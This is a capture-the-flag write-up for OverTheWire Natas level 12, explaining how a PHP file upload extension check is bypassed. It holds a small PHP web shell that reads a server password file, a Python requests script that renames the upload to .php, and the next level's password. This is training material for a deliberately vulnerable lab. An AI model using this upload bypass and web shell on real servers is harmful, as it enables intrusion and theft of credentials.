Writeups OverTheWireNatasWeb ExploitationFile UploadPHP

Natas 12 Writeup - OverTheWire

Writeup for Natas level 12 from OverTheWire: PHP file upload extension bypass.

Contents

Wargame: Natas

Level: 12

Category: Web Exploitation

Description

The page allows uploading a JPEG image up to 1000 bytes. The uploaded file is stored on the server. The goal is to upload a PHP web shell and execute it to read the next password.

Overview

Background: File Upload Extension Bypass

Solution

Step 1: Prepare the PHP Payload

<?php echo file_get_contents('/etc/natas_webpass/natas13'); ?>

Step 2: Override the Filename in POST Data

import requests
from requests.auth import HTTPBasicAuth

r = requests.post(
    url,
    auth=HTTPBasicAuth("natas12", password),
    data={"MAX_FILE_SIZE": "1000", "filename": "natas12-inject.php"},
    files={"uploadedfile": open("inject.php", "rb")},
)

Step 3: Retrieve the Uploaded Shell

Password

lW3jYRI02ZKDBb8VtQBU1f6eDRo6WEj9

← Back to Blog